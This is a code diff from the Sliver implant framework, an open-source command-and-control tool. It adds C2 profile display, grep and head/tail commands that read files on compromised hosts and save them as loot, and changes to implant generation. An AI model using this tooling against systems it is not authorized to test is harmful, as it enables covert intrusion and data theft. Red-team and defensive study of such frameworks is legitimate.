PollFileExtension: config.ImplantConfig.PollFileExt,
|
||||
StartSessionFileExtension: config.ImplantConfig.StartSessionFileExt,
|
||||
SessionFileExtension: config.ImplantConfig.SessionFileExt,
|
||||
CloseFileExtension: config.ImplantConfig.CloseFileExt,
|
||||
PathSegments: pathSegments,
|
||||
}
|
||||
|
||||
// Server Config
|
||||
serverHeaders := []*clientpb.HTTPC2Header{}
|
||||
for _, serverHeader := range config.ServerConfig.Headers {
|
||||
for _, method := range serverHeader.Methods {
|
||||
serverHeaders = append(serverHeaders, &clientpb.HTTPC2Header{
|
||||
Method: method,
|
||||
Name: serverHeader.Name,
|
||||
Value: serverHeader.Value,
|
||||
Probability: int32(serverHeader.Probability),
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
serverCookies := []*clientpb.HTTPC2Cookie{}
|
||||
for _, cookie := range config.ServerConfig.Cookies {
|
||||
serverCookies = append(serverCookies, &clientpb.HTTPC2Cookie{
|
||||
Name: cookie,
|
||||
})
|
||||
}
|
||||
serverConfig := &clientpb.HTTPC2ServerConfig{
|
||||
RandomVersionHeaders: config.ServerConfig.RandomVersionHeaders,
|
||||
Headers: serverHeaders,
|
||||
Cookies: serverCookies,
|
||||
}
|
||||
|
||||
return &clientpb.HTTPC2Config{
|
||||
Name: profileName,
|
||||
ImplantConfig: implantConfig,
|
||||
ServerConfig: serverConfig,
|
||||
}
|
||||
}
|
||||
|
||||
// PrintImplantBuilds - Print the implant builds on the server
|
||||
func PrintC2Profiles(profile *clientpb.HTTPC2Config, con *console.SliverConsoleClient) {
|
||||
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.AppendHeader(table.Row{
|
||||
"Parameter",
|
||||
"Value",
|
||||
})
|
||||
|
||||
// Profile metadata
|
||||
|
||||
tw.AppendRow(table.Row{
|
||||
"Profile Name",
|
||||
profile.Name,
|
||||
})
|
||||
|
||||
// Server side configuration
|
||||
|
||||
var serverHeaders []string
|
||||
for _, header := range profile.ServerConfig.Headers {
|
||||
serverHeaders = append(serverHeaders, header.Value)
|
||||
}
|
||||
tw.AppendRow(table.Row{
|
||||
"Server Headers",
|
||||
strings.Join(serverHeaders[:], ","),
|
||||
})
|
||||
|
||||
var serverCookies []string
|
||||
for _, cookie := range profile.ServerConfig.Cookies {
|
||||
serverCookies = append(serverCookies, cookie.Name)
|
||||
}
|
||||
tw.AppendRow(table.Row{
|
||||
"Server Cookies",
|
||||
strings.Join(serverCookies[:], ","),
|
||||
})
|
||||
|
||||
tw.AppendRow(table.Row{
|
||||
"Randomize Server Headers",
|
||||
profile.ServerConfig.RandomVersionHeaders,
|
||||
})
|
||||
|
||||
// Client side configuration
|
||||
|
||||
var clientHeaders []string
|
||||
for _, header := range profile.ImplantConfig.Headers {
|
||||
clientHeaders = append(clientHeaders, header.Value)
|
||||
}
|
||||
tw.AppendRow(table.Row{
|
||||
"Client Headers",
|
||||
strings.Join(clientHeaders[:], ","),
|
||||
})
|
||||
|
||||
var clientUrlParams []string
|
||||
for _, clientUrlParam := range profile.ImplantConfig.ExtraURLParameters {
|
||||
clientUrlParams = append(clientUrlParams, clientUrlParam.Name)
|
||||
}
|
||||
tw.AppendRow(table.Row{
|
||||
"Extra URL Parameters",
|
||||
strings.Join(clientUrlParams[:], ","),
|
||||
})
|
||||
tw.AppendRow(table.Row{
|
||||
"User agent",
|
||||
profile.ImplantConfig.UserAgent,
|
||||
})
|
||||
tw.AppendRow(table.Row{
|
||||
"Chrome base version",
|
||||
profile.ImplantConfig.ChromeBaseVersion,
|
||||
})
|
||||
tw.AppendRow(table.Row{
|
||||
"MacOS version",
|
||||
profile.ImplantConfig.MacOSVersion,
|
||||
})
|
||||
tw.AppendRow(table.Row{
|
||||
"Nonce query arg chars",
|
||||
profile.ImplantConfig.NonceQueryArgChars,
|
||||
})
|
||||
tw.AppendRow(table.Row{
|
||||
"Max files",
|
||||
profile.ImplantConfig.MaxFiles,
|
||||
})
|
||||
tw.AppendRow(table.Row{
|
||||
"Min files",
|
||||
profile.ImplantConfig.MinFiles,
|
||||
})
|
||||
tw.AppendRow(table.Row{
|
||||
"Max paths",
|
||||
profile.ImplantConfig.MaxPaths,
|
||||
})
|
||||
tw.AppendRow(table.Row{
|
||||
"Min paths",
|
||||
profile.ImplantConfig.MinPaths,
|
||||
})
|
||||
|
||||
tw.AppendRow(table.Row{
|
||||
"Stager file extension",
|
||||
profile.ImplantConfig.StagerFileExtension,
|
||||
})
|
||||
tw.AppendRow(table.Row{
|
||||
"Start session file extension",
|
||||
profile.ImplantConfig.StartSessionFileExtension,
|
||||
})
|
||||
tw.AppendRow(table.Row{
|
||||
"Session file extension",
|
||||
profile.ImplantConfig.SessionFileExtension,
|
||||
})
|
||||
tw.AppendRow(table.Row{
|
||||
"Poll file extension",
|
||||
profile.ImplantConfig.PollFileExtension,
|
||||
})
|
||||
tw.AppendRow(table.Row{
|
||||
"Close file extension",
|
||||
profile.ImplantConfig.CloseFileExtension,
|
||||
})
|
||||
|
||||
var (
|
||||
pollPaths []string
|
||||
pollFiles []string
|
||||
sessionPaths []string
|
||||
sessionFiles []string
|
||||
closePaths []string
|
||||
closeFiles []string
|
||||
)
|
||||
for _, segment := range profile.ImplantConfig.PathSegments {
|
||||
if segment.IsFile {
|
||||
switch segment.SegmentType {
|
||||
case 0:
|
||||
pollFiles = append(pollFiles, segment.Value)
|
||||
case 1:
|
||||
sessionFiles = append(sessionFiles, segment.Value)
|
||||
case 2:
|
||||
closeFiles = append(closeFiles, segment.Value)
|
||||
}
|
||||
} else {
|
||||
switch segment.SegmentType {
|
||||
case 0:
|
||||
pollPaths = append(pollPaths, segment.Value)
|
||||
case 1:
|
||||
sessionPaths = append(sessionPaths, segment.Value)
|
||||
case 2:
|
||||
closePaths = append(closePaths, segment.Value)
|
||||
}
|
||||
}
|
||||
}
|
||||
tw.AppendRow(table.Row{
|
||||
"Poll paths",
|
||||
strings.Join(pollPaths[:], ","),
|
||||
})
|
||||
tw.AppendRow(table.Row{
|
||||
"Poll files",
|
||||
strings.Join(pollFiles[:], ","),
|
||||
})
|
||||
tw.AppendRow(table.Row{
|
||||
"Session paths",
|
||||
strings.Join(sessionPaths[:], ","),
|
||||
})
|
||||
tw.AppendRow(table.Row{
|
||||
"Session files",
|
||||
strings.Join(sessionFiles[:], ","),
|
||||
})
|
||||
tw.AppendRow(table.Row{
|
||||
"Close paths",
|
||||
strings.Join(closePaths[:], ","),
|
||||
})
|
||||
tw.AppendRow(table.Row{
|
||||
"Close files",
|
||||
strings.Join(closeFiles[:], ","),
|
||||
})
|
||||
|
||||
con.Println(tw.Render())
|
||||
con.Println("\n")
|
||||
}
|
||||
|
||||
func selectC2Profile(c2profiles []*clientpb.HTTPC2Config) string {
|
||||
c2profile := ""
|
||||
var choices []string
|
||||
for _, c2profile := range c2profiles {
|
||||
choices = append(choices, c2profile.Name)
|
||||
}
|
||||
|
||||
prompt := &survey.Select{
|
||||
Message: "Select a c2 profile",
|
||||
Options: choices,
|
||||
}
|
||||
survey.AskOne(prompt, &c2profile, nil)
|
||||
|
||||
return c2profile
|
||||
}
|
||||
@@ -21,7 +21,7 @@ package dllhijack
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
@@ -58,7 +58,7 @@ func DllHijackCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []s
|
||||
}
|
||||
|
||||
if localReferenceFilePath != "" {
|
||||
localRefData, err = ioutil.ReadFile(localReferenceFilePath)
|
||||
localRefData, err = os.ReadFile(localReferenceFilePath)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Could not load the reference file from the client: %s\n", err)
|
||||
return
|
||||
@@ -70,7 +70,7 @@ func DllHijackCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []s
|
||||
con.PrintErrorf("please use either --profile or --File")
|
||||
return
|
||||
}
|
||||
targetDLLData, err = ioutil.ReadFile(localFile)
|
||||
targetDLLData, err = os.ReadFile(localFile)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error: %s\n", err)
|
||||
return
|
||||
|
||||
@@ -56,8 +56,9 @@ func CatCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string)
|
||||
ctrl := make(chan bool)
|
||||
con.SpinUntil(fmt.Sprintf("Downloading %s ...", filePath), ctrl)
|
||||
download, err := con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
Path: filePath,
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
RestrictedToFile: true,
|
||||
Path: filePath,
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
|
||||
@@ -51,9 +51,10 @@ func DownloadCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []st
|
||||
ctrl := make(chan bool)
|
||||
con.SpinUntil(fmt.Sprintf("Downloading %s ...", remotePath), ctrl)
|
||||
download, err := con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
Path: remotePath,
|
||||
Recurse: recurse,
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
Path: remotePath,
|
||||
Recurse: recurse,
|
||||
RestrictedToFile: false,
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
@@ -119,7 +120,12 @@ func HandleDownloadResponse(download *sliverpb.Download, cmd *cobra.Command, arg
|
||||
}
|
||||
|
||||
remotePath := args[0]
|
||||
localPath := args[1]
|
||||
var localPath string
|
||||
if len(args) == 1 {
|
||||
localPath = "."
|
||||
} else {
|
||||
localPath = args[1]
|
||||
}
|
||||
saveLoot, _ := cmd.Flags().GetBool("loot")
|
||||
|
||||
if download.ReadFiles == 0 {
|
||||
|
||||
@@ -0,0 +1,304 @@
|
||||
package filesystem
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2023 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"regexp"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/loot"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/fatih/color"
|
||||
"github.com/spf13/cobra"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
const maxLinesDisplayed = 50
|
||||
|
||||
func processFlags(searchPattern string, insensitive bool, exact bool) string {
|
||||
if !insensitive && !exact {
|
||||
return searchPattern
|
||||
}
|
||||
|
||||
var processedSearchPattern = searchPattern
|
||||
|
||||
flagsAtBeginning, _ := regexp.Compile(`^\(\?.*\)`)
|
||||
flagsSpecifiedIndex := flagsAtBeginning.FindStringIndex(searchPattern)
|
||||
|
||||
if insensitive {
|
||||
if flagsSpecifiedIndex != nil {
|
||||
// If we matched, flagsSpecifiedIndex[0] will always be 0 (the start of the string)
|
||||
flags := searchPattern[:flagsSpecifiedIndex[1]]
|
||||
if !strings.Contains(flags, "i") {
|
||||
processedSearchPattern = "(?i" + searchPattern[2:]
|
||||
}
|
||||
} else {
|
||||
processedSearchPattern = "(?i)" + processedSearchPattern
|
||||
}
|
||||
}
|
||||
|
||||
// For exact matches, we will replace any start and end of line anchors with (^|\s) and (\s|$) respectively
|
||||
flagsSpecifiedIndex = flagsAtBeginning.FindStringIndex(processedSearchPattern)
|
||||
|
||||
if exact {
|
||||
var endIndexOfFlags = 0
|
||||
|
||||
if flagsSpecifiedIndex != nil {
|
||||
endIndexOfFlags = flagsSpecifiedIndex[1]
|
||||
}
|
||||
if strings.HasPrefix(processedSearchPattern[endIndexOfFlags:], "^") {
|
||||
processedSearchPattern = processedSearchPattern[:endIndexOfFlags] + strings.Replace(processedSearchPattern[endIndexOfFlags:], "^", `(^|\s)`, 1)
|
||||
} else {
|
||||
processedSearchPattern = `(^|\s)` + processedSearchPattern
|
||||
}
|
||||
|
||||
if strings.HasSuffix(processedSearchPattern, "$") {
|
||||
processedSearchPattern = processedSearchPattern[:len(processedSearchPattern)-1] + `(\s|$)`
|
||||
} else {
|
||||
processedSearchPattern = processedSearchPattern + `(\s|$)`
|
||||
}
|
||||
}
|
||||
|
||||
return processedSearchPattern
|
||||
}
|
||||
|
||||
func GrepCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
searchPattern := args[0]
|
||||
searchPath := args[1]
|
||||
|
||||
recursive, _ := cmd.Flags().GetBool("recursive")
|
||||
insensitive, _ := cmd.Flags().GetBool("insensitive")
|
||||
exact, _ := cmd.Flags().GetBool("exact")
|
||||
|
||||
searchPatternProcessed := processFlags(searchPattern, insensitive, exact)
|
||||
|
||||
// Sanity check the search pattern to validate that it is a valid regex
|
||||
_, err := regexp.Compile(searchPattern)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s is not a valid regex: %s\n", searchPattern, err)
|
||||
return
|
||||
}
|
||||
|
||||
// Context overrides individual values for before and after
|
||||
var linesBefore int32 = 0
|
||||
var linesAfter int32 = 0
|
||||
|
||||
if cmd.Flags().Changed("context") {
|
||||
linesBefore, _ = cmd.Flags().GetInt32("context")
|
||||
linesAfter = linesBefore
|
||||
} else {
|
||||
linesBefore, _ = cmd.Flags().GetInt32("before")
|
||||
linesAfter, _ = cmd.Flags().GetInt32("after")
|
||||
}
|
||||
|
||||
ctrl := make(chan bool)
|
||||
con.SpinUntil(fmt.Sprintf("Searching for %s in %s ...", searchPattern, searchPath), ctrl)
|
||||
|
||||
grep, err := con.Rpc.Grep(context.Background(), &sliverpb.GrepReq{
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
SearchPattern: searchPatternProcessed,
|
||||
Path: searchPath,
|
||||
Recursive: recursive,
|
||||
LinesBefore: linesBefore,
|
||||
LinesAfter: linesAfter,
|
||||
})
|
||||
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if grep.Response != nil && grep.Response.Async {
|
||||
con.AddBeaconCallback(grep.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, grep)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
// Using args[0] so that the operator's original input is preserved
|
||||
printGrep(grep, args[0], searchPath, cmd, con)
|
||||
})
|
||||
con.PrintAsyncResponse(grep.Response)
|
||||
} else {
|
||||
printGrep(grep, args[0], searchPath, cmd, con)
|
||||
}
|
||||
}
|
||||
|
||||
// printGrep - Print the results from the grep operation to stdout
|
||||
func printGrep(grep *sliverpb.Grep, searchPattern string, searchPath string, cmd *cobra.Command, con *console.SliverConsoleClient) {
|
||||
saveLoot, _ := cmd.Flags().GetBool("loot")
|
||||
lootName, _ := cmd.Flags().GetString("name")
|
||||
colorize, _ := cmd.Flags().GetBool("colorize-output")
|
||||
userLootFileType, _ := cmd.Flags().GetString("file-type")
|
||||
currentDateTime := time.Now().Format("2006-01-02_150405")
|
||||
if !cmd.Flags().Changed("lootName") {
|
||||
// If the loot name has not been specified by the operator, generate one
|
||||
con.GetActiveSessionConfig()
|
||||
lootName = fmt.Sprintf("grep from %s on %s (%s)", searchPath, con.GetActiveSessionConfig().ID, currentDateTime)
|
||||
}
|
||||
if grep.Response != nil && grep.Response.Err != "" {
|
||||
con.PrintErrorf("%s\n", grep.Response.Err)
|
||||
return
|
||||
}
|
||||
|
||||
grepResults, numberOfResults, binaryFilesMatched := printGrepResults(grep.Results, colorize, true)
|
||||
if len(grepResults) > maxLinesDisplayed {
|
||||
// If there are more than maxResultsDisplayed results, then loot the rest so that we do not overfill the console
|
||||
saveLoot = true
|
||||
}
|
||||
|
||||
var resultQualifier string
|
||||
var displayLimit string
|
||||
|
||||
if numberOfResults == 1 {
|
||||
resultQualifier = "line"
|
||||
} else {
|
||||
resultQualifier = "lines"
|
||||
}
|
||||
|
||||
if len(grepResults) > maxLinesDisplayed {
|
||||
displayLimit = fmt.Sprintf(" (%d displayed, including context if available)", maxLinesDisplayed)
|
||||
}
|
||||
|
||||
con.Printf("Found %d matching %s for %s in %s%s\n\n", numberOfResults, resultQualifier, searchPattern, searchPath, displayLimit)
|
||||
if len(grepResults) > maxLinesDisplayed {
|
||||
con.Println(strings.Join(grepResults[:maxLinesDisplayed+1], "\n"))
|
||||
} else {
|
||||
con.Println(strings.Join(grepResults, "\n"))
|
||||
}
|
||||
|
||||
if len(grepResults) > maxLinesDisplayed {
|
||||
con.PrintWarnf("Number of output lines exceed %d. The full output is available in the loot file \"%s\"\n", maxLinesDisplayed, lootName)
|
||||
}
|
||||
if len(binaryFilesMatched) > 0 {
|
||||
con.PrintInfof("The following binary files contained one or more matches that may not be reflected above:\n")
|
||||
for _, fileName := range binaryFilesMatched {
|
||||
con.Printf("\t%s\n", fileName)
|
||||
}
|
||||
}
|
||||
|
||||
if saveLoot {
|
||||
// Do not allow escape sequences in the output when looting
|
||||
grepResultsForLoot, numberOfResults, binaryFilesMatched := printGrepResults(grep.Results, false, false)
|
||||
|
||||
lootFileName := fmt.Sprintf("grep_%s_%s.txt", con.GetActiveSessionConfig().ID, currentDateTime)
|
||||
flags := []string{}
|
||||
if recursive, _ := cmd.Flags().GetBool("recursive"); recursive {
|
||||
flags = append(flags, "recursive")
|
||||
}
|
||||
if exact, _ := cmd.Flags().GetBool("exact"); exact {
|
||||
flags = append(flags, "exact match")
|
||||
}
|
||||
if insensitive, _ := cmd.Flags().GetBool("insensitive"); insensitive {
|
||||
flags = append(flags, "case insensitive search")
|
||||
}
|
||||
|
||||
// Add a header to the looted grep results to indicate what the pattern was and what was searched
|
||||
grepResultsString := fmt.Sprintf("Search pattern: %s\nSearch location: %s\n", searchPattern, grep.SearchPathAbsolute)
|
||||
if len(flags) > 0 {
|
||||
grepResultsString += fmt.Sprintf("Search flags: %s\n", strings.Join(flags, ", "))
|
||||
}
|
||||
grepResultsString += fmt.Sprintf("Number of Results: %d\n\n%s", numberOfResults, strings.Join(grepResultsForLoot, "\n"))
|
||||
if len(binaryFilesMatched) > 0 {
|
||||
grepResultsString += "\nThe following binary files contained one or more matches:\n"
|
||||
grepResultsString += strings.Join(binaryFilesMatched, "\n")
|
||||
}
|
||||
fileType := loot.ValidateLootFileType(userLootFileType, []byte(grepResultsString))
|
||||
loot.LootText(grepResultsString, lootName, lootFileName, fileType, con)
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
// grepLineResult - Add color or formatting for results for console output
|
||||
func grepLineResult(positions []*sliverpb.GrepLinePosition, line string, colorize bool, allowFormatting bool) string {
|
||||
var result string = ""
|
||||
var matchOutput func(a ...interface{}) string
|
||||
var previousPositionEnd int32 = 0
|
||||
|
||||
if colorize {
|
||||
matchOutput = color.New(color.FgRed, color.Bold).SprintFunc()
|
||||
} else if allowFormatting {
|
||||
matchOutput = color.New(color.Bold).SprintFunc()
|
||||
}
|
||||
|
||||
for idx, position := range positions {
|
||||
if colorize || allowFormatting {
|
||||
result += line[previousPositionEnd:position.Start]
|
||||
result += matchOutput(line[position.Start:position.End])
|
||||
if idx == len(positions)-1 {
|
||||
result += line[position.End:]
|
||||
} else {
|
||||
previousPositionEnd = position.End
|
||||
}
|
||||
} else {
|
||||
result = line
|
||||
}
|
||||
}
|
||||
|
||||
return result
|
||||
}
|
||||
|
||||
// printGrepResults - Take the results from the implant and put them together for output to the console or loot
|
||||
func printGrepResults(results map[string]*sliverpb.GrepResultsForFile, colorize bool, allowFormatting bool) ([]string, int, []string) {
|
||||
var resultOutput []string
|
||||
var numberOfResults = 0
|
||||
binaryFilesMatched := []string{}
|
||||
|
||||
for fileName, result := range results {
|
||||
if result.IsBinary {
|
||||
if len(result.FileResults) > 0 {
|
||||
binaryFilesMatched = append(binaryFilesMatched, fileName)
|
||||
}
|
||||
}
|
||||
for _, lineResult := range result.FileResults {
|
||||
line := lineResult.Line
|
||||
if len(lineResult.LinesBefore) > 0 || len(lineResult.LinesAfter) > 0 {
|
||||
resultOutput = append(resultOutput, fmt.Sprintf("%s (match on line %d)\n", fileName, lineResult.LineNumber))
|
||||
if len(lineResult.LinesBefore) > 0 {
|
||||
resultOutput = append(resultOutput, strings.Join(lineResult.LinesBefore, "\n"))
|
||||
}
|
||||
resultOutput = append(resultOutput, grepLineResult(lineResult.Positions, line, colorize, allowFormatting))
|
||||
if len(lineResult.LinesAfter) > 0 {
|
||||
resultOutput = append(resultOutput, strings.Join(lineResult.LinesAfter, "\n"))
|
||||
}
|
||||
resultOutput = append(resultOutput, "\n")
|
||||
} else {
|
||||
if lineResult.LineNumber == -1 {
|
||||
resultOutput = append(resultOutput, fmt.Sprintf("Error when reading file %s: %s", fileName, line))
|
||||
} else {
|
||||
resultOutput = append(resultOutput, fmt.Sprintf("%s: Line %d: %s", fileName, lineResult.LineNumber, grepLineResult(lineResult.Positions, line, colorize, allowFormatting)))
|
||||
}
|
||||
}
|
||||
numberOfResults += 1
|
||||
}
|
||||
}
|
||||
|
||||
return resultOutput, numberOfResults, binaryFilesMatched
|
||||
}
|
||||
@@ -0,0 +1,127 @@
|
||||
package filesystem
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2023 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/spf13/cobra"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
func HeadCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string, head bool) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
var filePath string
|
||||
var fetchBytes bool
|
||||
var fetchSize int64
|
||||
var operationName string
|
||||
var download *sliverpb.Download
|
||||
var err error
|
||||
|
||||
if len(args) > 0 {
|
||||
filePath = args[0]
|
||||
}
|
||||
if filePath == "" {
|
||||
con.PrintErrorf("Missing parameter: file name\n")
|
||||
return
|
||||
}
|
||||
|
||||
if cmd.Flags().Changed("bytes") {
|
||||
fetchBytes = true
|
||||
fetchSize, _ = cmd.Flags().GetInt64("bytes")
|
||||
if fetchSize < 0 {
|
||||
// Cannot fetch a negative number of bytes
|
||||
con.PrintErrorf("The number of bytes specified must be positive.")
|
||||
return
|
||||
}
|
||||
if fetchSize == 1 {
|
||||
operationName = "byte"
|
||||
} else {
|
||||
operationName = "bytes"
|
||||
}
|
||||
} else if cmd.Flags().Changed("lines") {
|
||||
fetchBytes = false
|
||||
fetchSize, _ = cmd.Flags().GetInt64("lines")
|
||||
if fetchSize < 0 {
|
||||
// Cannot fetch a negative number of lines
|
||||
con.PrintErrorf("The number of lines specified must be positive.")
|
||||
return
|
||||
}
|
||||
if fetchSize == 1 {
|
||||
operationName = "line"
|
||||
} else {
|
||||
operationName = "lines"
|
||||
}
|
||||
} else {
|
||||
con.PrintErrorf("A number of bytes or a number of lines must be specified.")
|
||||
return
|
||||
}
|
||||
|
||||
ctrl := make(chan bool)
|
||||
con.SpinUntil(fmt.Sprintf("Retrieving %d %s from %s ...", fetchSize, operationName, filePath), ctrl)
|
||||
|
||||
// A tail is a negative head
|
||||
if !head {
|
||||
fetchSize *= -1
|
||||
}
|
||||
|
||||
if fetchBytes {
|
||||
download, err = con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
Path: filePath,
|
||||
MaxBytes: fetchSize,
|
||||
RestrictedToFile: true,
|
||||
})
|
||||
} else {
|
||||
download, err = con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
Path: filePath,
|
||||
MaxLines: fetchSize,
|
||||
RestrictedToFile: true,
|
||||
})
|
||||
}
|
||||
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if download.Response != nil && download.Response.Async {
|
||||
con.AddBeaconCallback(download.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, download)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintCat(download, cmd, con)
|
||||
})
|
||||
con.PrintAsyncResponse(download.Response)
|
||||
} else {
|
||||
PrintCat(download, cmd, con)
|
||||
}
|
||||
}
|
||||
@@ -43,7 +43,10 @@ func MemfilesRmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []
|
||||
}
|
||||
|
||||
fdInt, err := strconv.ParseInt(fdArg, 0, 64)
|
||||
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to parse fdArg: %s\n", err)
|
||||
return
|
||||
}
|
||||
memfilesList, err := con.Rpc.MemfilesRm(context.Background(), &sliverpb.MemfilesRmReq{
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
Fd: fdInt,
|
||||
|
||||
@@ -21,7 +21,6 @@ package filesystem
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"path/filepath"
|
||||
|
||||
@@ -72,7 +71,7 @@ func UploadCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []stri
|
||||
|
||||
dst := remotePath
|
||||
|
||||
fileBuf, err := ioutil.ReadFile(src)
|
||||
fileBuf, err := os.ReadFile(src)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
|
||||
@@ -18,7 +18,7 @@ var (
|
||||
|
||||
// GenerateBeaconCmd - The main command used to generate implant binaries
|
||||
func GenerateBeaconCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
config := parseCompileFlags(cmd, con)
|
||||
name, config := parseCompileFlags(cmd, con)
|
||||
if config == nil {
|
||||
return
|
||||
}
|
||||
@@ -35,7 +35,7 @@ func GenerateBeaconCmd(cmd *cobra.Command, con *console.SliverConsoleClient, arg
|
||||
if external, _ := cmd.Flags().GetBool("external-builder"); !external {
|
||||
compile(config, save, con)
|
||||
} else {
|
||||
externalBuild(config, save, con)
|
||||
externalBuild(name, config, save, con)
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -90,7 +90,7 @@ var (
|
||||
|
||||
// GenerateCmd - The main command used to generate implant binaries
|
||||
func GenerateCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
config := parseCompileFlags(cmd, con)
|
||||
name, config := parseCompileFlags(cmd, con)
|
||||
if config == nil {
|
||||
return
|
||||
}
|
||||
@@ -101,7 +101,7 @@ func GenerateCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []st
|
||||
if external, _ := cmd.Flags().GetBool("external-builder"); !external {
|
||||
compile(config, save, con)
|
||||
} else {
|
||||
_, err := externalBuild(config, save, con)
|
||||
_, err := externalBuild(name, config, save, con)
|
||||
if err != nil {
|
||||
if err == ErrNoExternalBuilder {
|
||||
con.PrintErrorf("There are no external builders currently connected to the server\n")
|
||||
@@ -182,14 +182,14 @@ func nameOfOutputFormat(value clientpb.OutputFormat) string {
|
||||
}
|
||||
|
||||
// Shared function that extracts the compile flags from the grumble context
|
||||
func parseCompileFlags(cmd *cobra.Command, con *console.SliverConsoleClient) *clientpb.ImplantConfig {
|
||||
func parseCompileFlags(cmd *cobra.Command, con *console.SliverConsoleClient) (string, *clientpb.ImplantConfig) {
|
||||
var name string
|
||||
if nameF, _ := cmd.Flags().GetString("name"); nameF != "" {
|
||||
name = strings.ToLower(nameF)
|
||||
|
||||
if err := util.AllowedName(name); err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return nil
|
||||
return "", nil
|
||||
}
|
||||
}
|
||||
|
||||
@@ -199,7 +199,7 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverConsoleClient) *cl
|
||||
mtlsC2, err := ParseMTLSc2(mtlsC2F)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err.Error())
|
||||
return nil
|
||||
return "", nil
|
||||
}
|
||||
c2s = append(c2s, mtlsC2...)
